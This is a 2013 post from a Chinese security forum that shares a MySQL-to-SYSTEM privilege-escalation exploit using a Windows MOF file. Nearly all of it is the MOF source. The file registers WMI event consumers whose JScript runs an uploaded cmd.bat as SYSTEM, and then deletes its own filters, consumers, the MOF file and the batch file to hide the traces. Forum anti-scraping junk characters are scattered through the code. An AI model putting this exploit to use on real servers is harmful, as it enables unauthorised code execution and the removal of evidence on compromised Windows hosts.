找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2100|回复: 0
打印 上一主题 下一主题

Mysql 提权即时无错Mof exp

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-14 00:05:02 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
这个sql提权MOF需要运行 system下的文件,不能定义路径。
( Q2 D% C' ]9 y, r8 ~' Y需要将要运行的命令写入到bat上传到system32目录,然后执行。' J# k2 I: k: l* f
9 n  x: [! v2 B
这个sql提权MOF需要运行 system下的文件,不能定义路径。
/ B7 j9 ?' \1 {9 m" e需要将要运行的命令写入到bat上传到system32目录,然后执行。
5 r# L- L& ?/ s- Z& C* \4 ~
# ^& @  q0 ^1 n3 {6 y: n#pragma2 o$ F3 Q; H. `2 d9 q( ^+ D9 u- z
                        namespace("\\\\.\\root\\cimv2"): I( J  }3 p0 e' W- f; t
                        class
0 G3 \3 _/ w9 Z9 W                        MyClass547; u7 a* ~; O, i2 H( G4 L1 e
                        {           [key]
7 D) |3 `: c( N! i6 `5 W! |                        string& E  r. r  f. U
                        Name;+ s1 J( l( ~0 |
                        };
& @/ F, X9 E' D" [                        class
9 p8 `) c2 E% P7 h                        ActiveScriptEventConsumer* v  x2 t5 y* k
                        : __EventConsumer {          [key]
4 [+ Y: T& X  j/ S& G  h                        string; h* [$ X7 Y. y" G* H  G' @" N
                        Name;           [not_null]
& [1 j$ z6 \  X5 I1 I                        string
! x9 T  e, u8 e, t+ H/ G  S& S: L                        ScriptingEngine;           string( m$ F! s" }& o  r" _4 j% a
                        ScriptFileName;           [template]
! G3 |; W4 T) v                        string
" J  F, G. v& ]5 y  @: W                        ScriptText;         uint32 KillTimeout;
9 \! I" S! m1 O4 c                        }; instance of __Win32Provider as $P {
3 U* O$ P# u& s% L3 J                        Name- j- K5 g, P! F0 Z- A  _% p7 y+ o
                        =
, b2 j5 [. D- p1 S2 ?                        "ActiveScriptEventConsumer";     CLSID =: t9 R/ R& A+ @+ \" @' n8 A
                        "{266c72e7-62e8-11d1-ad89-00c04fd8fdff}";
6 f4 z' \: d+ E' a6 O% g                        PerUserInitialization
. R1 V$ d2 O! a$ J1 q7 F' a                        = TRUE;
. y8 q9 {$ F+ M! D  e                        }; instance of __EventConsumerProviderRegistration {         Provider( A+ K0 {- [% w& ~# g, N
                        = $P;         ConsumerClassNames5 I' Y. M/ @+ _+ r2 y- P+ ^
                        =" ], m2 i/ O, S: J8 [/ \
                        {"ActiveScriptEventConsumer"};, X2 p; u/ E7 R: G& b
                        };
: W& R- H* w' E- z1 _. P& e' ~                        Instance of ActiveScriptEventConsumer
, g( o# Q2 \- y3 a& B                        as $cons {         Name
( B$ Y* F' }5 M) k9 x* H                        =
7 T; w4 R4 Z! X+ @' k( h4 w& E4 t                        "ASEC";         ScriptingEngine& K& t  v- A! z' i3 H
                        =6 g4 [2 n& n0 B, r# y7 t# X' |, K# p
                        "JScript";         ScriptText
; ?, e1 ~3 N; B& g                        =9 U" M8 _" n5 h- o5 X8 t8 ^4 y
                        "\ntry {var s = new ActiveXObject(\"Wscript.Shell\");\ns.Run(\"cmd.bat\");} catch (err) {};\nsv = GetObject(\"winmgmts:root\\\\cimv2\");try {sv.Delete(\"MyClass547\");} catch (err) {};try {sv.Delete(\"__EventFilter.Name='instfilt'\");} catch (err) {};try {sv.Delete(\"ActiveScriptEventConsumer.Name='ASEC'\");} catch(err) {};";          };
/ p1 g$ A2 ^! l) k' {9 Q* P                        Instance of ActiveScriptEventConsumer2 j& z: `4 N& h- A" t
                        as $cons2 {         Name
1 t, G) |4 m$ n) I( Z2 C                        =# `0 a, W. o6 [: T& q' u) B
                        "qndASEC";         ScriptingEngine
" T$ ]& @5 ^( r5 Q- O0 L                        =
' r4 F0 d" [+ z( d5 A3 V: r( g6 {                        "JScript";         ScriptText8 M# W: k# ]* w( ~! L9 t$ a! s1 Q, M5 c' G
                        =" F2 h# |% J  p/ H1 V. D4 w, j
                        "\nvar objfs = new ActiveXObject(\"Scripting.FileSystemObject\");\ntry {var f1 = objfs.GetFile(\"wbem\\\\mof\\\\good\\\\hBsBa.mof\");\nf1.Delete(true);} catch(err) {};\ntry {\nvar f2 = objfs.GetFile(\"cmd.bat\");\nf2.Delete(true);\nvar s = GetObject(\"winmgmts:root\\\\cimv2\");s.Delete(\"__EventFilter.Name='qndfilt'\");s.Delete(\"ActiveScriptEventConsumer.Name='qndASEC'\");\n} catch(err) {};";
( V) ^" l; G% {4 t/ H. Q4 `                        }; instance of __EventFilter as $Filt {         Name+ N8 S" o! r" O5 |3 I
                        =: V3 X3 e- E; k3 s7 t! Z
                        "instfilt";         Query
2 O3 u+ S* F  Y7 J, T: y                        =4 a; f- R- n1 l5 y
                        "SELECT * FROM __InstanceCreationEvent WHERE TargetInstance.__class = \"MyClass547\"";         QueryLanguage
* j, b- g7 ~8 W. t1 Y                        =
5 `3 o2 Y$ D4 V4 }5 G2 h                        "WQL";         }; instance of __EventFilter as $Filt2 {         Name; ?; P5 o6 v! v% a7 n
                        =
  B1 @4 g: }1 w2 \                        "qndfilt";         Query# m+ D9 t) F* B9 H
                        =
9 H$ {9 e- w% d1 f                        "SELECT * FROM __InstanceDeletionEvent WITHIN 1 WHERE TargetInstance ISA \"Win32_Process\" AND TargetInstance.Name = \"cmd.bat\"";         QueryLanguage
3 C* F/ |5 t) g8 F                        =( k* A& h# X3 M# L
                        "WQL";          }; instance of __FilterToConsumerBinding as $bind {         Consumer
9 J# [9 ]! o: e! [                        = $cons;         Filter
& h3 O  E6 h$ b9 i3 f3 D                        = $Filt;: `6 `2 c2 p, m! d1 ^! X' J
                        }; instance of __FilterToConsumerBinding as $bind2 {         Consumer( E8 L9 J2 F! Q9 q9 [. E: W
                        = $cons2;         Filter4 H4 |3 [; H! C# _! j; x5 k
                        = $Filt2;! r: x. X2 p  m- d% l' ]" |% @/ M
                        }; instance of MyClass547* h& A. C1 p3 D/ S  M
                        as $MyClass {         Name
# a% Q9 m0 i+ E                        =# ?2 Z$ m' u: p
                        "ClassConsumer";
4 ~$ [: S4 O; p+ Z0 D% b                        };
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表